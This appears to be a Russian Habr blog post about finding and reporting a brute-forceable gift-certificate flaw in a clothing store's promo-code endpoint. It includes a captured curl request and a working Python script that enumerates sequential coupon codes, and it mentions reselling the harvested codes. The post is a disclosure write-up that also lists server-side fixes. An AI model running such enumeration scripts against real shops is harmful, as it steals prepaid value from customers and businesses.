
Привет, Хабр!
Я, как, надеюсь, и вы тоже, очень люблю читать про всякие уязвимости. Это похоже на чтение детективов, где разными окольными путями, используя какое-нибудь нелепое стечение обстоятельств и тупые стандарты, навроде исполнения кода при десериализации или внешних запросов при открытии xml, атакующий приходит к цели и уничтожает весь мир. Ну что-то такое.
Я и сам писал пару статей такого рода и, честно говоря, очень ими горжусь, потому что уязвимости там действительно прикольные, и для их нахождения мне пришлось сильно пошевелить мозгами.
Но сегодня статья будет супер банальная, кому-то может быть даже покажется скучной. Никакого хитрого сюжета, абсолютно банальнейшая уязвимость в наиболее обыденной ситуации. Но мне кажется, что кто-нибудь может найти мой ход мысли полезным, может быть даже чему-то научиться - ведь я решил расписать всё максимально подробно. Поэтому вот вам статья про самую скучную уязвимость на свете, а вы напишите, что об этом думаете.
Итак, всё начинается с предыстории, как и всегда. Предыстория заключалась в том, что друг на день рождения подарил мне подарочный сертификат в очень дорогой магазин одежды. И хотя это подарочный сертификат, но жаба меня придушила конкретно. Ну не могу я купить ветровку за 20 тыщ, кофту за 7500р или кепку за 3000р и остаться психически здоровым!
Как вам уже, наверное, известно, когда у меня что-то подгорает, я начинаю что-то делать. В данном случае я обратил внимание на подарочный сертификат, который выглядит примерно вот так:

Используется он просто: при оформлении заказа в поле "промокод" вводите номер штрих-кода, и скидка применяется.
У меня на такие вещи сразу триггер. Мне даже когда какой-то кофейный сертификат на Хабре дарили, я сразу посмотрел на сертификаты других людей, чтобы понять, какой там формат кода и можно ли его взломать. Но в нашем случае все достаточно просто:
двойка в начале любых штрих-кодов означает "я художник, я так вижу"
много нулей означают "мы не придумали, чем тут заполнить место"
а вот потом идёт какое-то число
Соответственно, возникает вопрос: можно ли подменить это число и получить скидку по чьему-то другому сертификату? Логика подсказывает, что это можно проверить: число шестизначное - значит, всего у нас миллион комбинаций, причём если сертификаты выдаются последовательно, то нам даже не надо перебирать все варианты, а достаточно начать с моего сертификата или чуть пораньше и проверять последующие.
Ну что ж, погнали! Я захожу на сайт и оформляю заказ как обычный простолюдин. Перед тем, как ввести промокод, я по F12 открываю инструменты разработчика (chrome dev tools) и выбираю там во вкладке "network" отслеживание запросов XHR. Почему именно этот тип? Я вижу, что поле ввода промокода "динамическое" - при отправке запроса не вся страничка перезагружается, а просто идёт фоновый запрос к серверу и какой-то ответ (применилась скидка или нет). Иногда запрос может быть какой-то другой - например, полноценная загрузка новой страницы (фильтр Doc) или же обмен сообщений через вебсокеты (фильтр Ws). Ну или можно выбрать фильтр all и просматривать вообще всю сетевую активность.
Но в данном случае нам не пришлось страдать, и мы сразу обнаружили запрос, который проверяет работоспособность купона.

Всё, что нам нужно - это послать множество таких запросов, но увеличивая с каждым разом номер купона.
В запросе передаётся много всего - это и URL, и метод, и заголовки, и тело. Мы не будем париться и вычислять, что из этого запроса важно, а что нет - просто повторим запрос один-в-один.
Для этого я делаю "copy as curl":

Теперь у меня в буфере команда curl
, наподобие такой:
curl 'https://xxxxxxx/front_api/cart.json' \
-X 'PATCH' \
-H 'Accept: */*' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Connection: keep-alive' \
-H 'Content-Type: application/json' \
-b 'first_current_location=%2F; first_referer=; referer=; current_location=%2F; .......' \
-H 'Origin: https://xxxxxxx' \
-H 'Referer: https://xxxxxxx/cart\\_items' \
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64)' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"' \
-H 'sec-ch-ua-mobile: ?0' \
-H 'sec-ch-ua-platform: "Linux"' \
--data-raw '{"lang":"","_method":"patch","variant_ids":{},"accessoriable_variant_ids":{},"order_line_comments":{},"coupon":"2000000292670"}'
Но вообще-то для перебора я хотел использовать питончик, поэтому я просто закидываю этот curl-запрос в Chatgpt с запросом "перепиши это на python с библиотекой requests", и он выводит мне питоновский код:
import requests
url = "https://xxxxxxx/front_api/cart.json"
data = {
"lang": "",
"_method": "patch",
"variant_ids": "{}",
"accessoriable_variant_ids": "{}",
"order_line_comments": "{}",
"coupon": "2000000292670",
}
cookies = {
"first_current_location": "%2F",
"first_referer": "",
"visit": "t",
"goal30_sent": "1",
"goal90_sent": "1",
"total_time_spent": "120",
"session_time_spent": "120",
"session_completed": "1",
"was": "true",
"cart": "json",
# ...
}
response = requests.patch(url, json=data, cookies=cookies)
print(response.status_code, response.text)
Я немного причёсываю код:
использую requests.Session, чтобы не открывать соединение заново на каждый запрос;
начинаю немного раньше своего купона - с
292000
- и ползу вверх при помощи itertools.count();вывожу прогресс и скорость работы при помощи tqdm;
использую json lines формат, чтобы сохранять найденные купоны.
Получается вот так компактненько:
from itertools import count
import json
import requests
from tqdm import tqdm
from pathlib import Path
output_file_path = Path('results.jsonl')
url = "https://xxxxxxx/front_api/cart.json"
data = {
"coupon": "",
# ...
}
cookies = {
# ...
}
session = requests.Session()
start = 2000000292000
with output_file_path.open('a', encoding='utf-8') as output_file:
for coupon in tqdm(count(start), initial=start):
response = session.patch(
url,
json=data | {"coupon": str(coupon)},
cookies=cookies,
timeout=10,
)
response.raise_for_status()
result = response.json()
if 'Указан несуществующий купон' not in result['coupon']['error']:
for discount in result['discounts']:
output_file.write(json.dumps(discount) + '\n')
output_file.flush()
Запущенный скрипт работал так же быстро, как я в понедельник - проверяя 2 купона в секунду - но где-то через 5 минут новые коды перестали появляться, и я понял, что просканировал всё, что было выпущено и ещё не активировано.

Суммарно я нафармил купонов на 177 тысяч. Дальше можно было бы заказывать шмотки на дропов или продавать эти коды где-нибудь в даркнете со скидкой.
Разумеется, я сообщил магазину о найденной уязвимости. Я хотел бы написать, что мне за это подарили сертификат на 100500 тыщ, и я заказал другу шапку, которую он очень хотел, но ващет мне просто дали нефритовым стебельком по лбу:

Так что с одной стороны "мы быстро растём и планируем выручку 500 миллионов в год", но с другой - для kesnа ничо не осталось, сорри. Такой вот он неблагодарный, этот ваш whitehat.
Давайте подведём итоги, что же было неправильно на стороне сервера.
Во-первых, неустойчивый к перебору код сертификата: небольшое количество знаков, только цифры, номера идут последовательно;
Во-вторых, отсутствие rate limits, то есть сертификаты можно перебирать бесконечно, и ничего за это не будет;
В-третьих, и это главное - высокие цены на товары, потому что без них я бы и не начал ничего искать. Имейте совесть, блин!
Не подписывайтесь на мой канал, там скучно и плохо!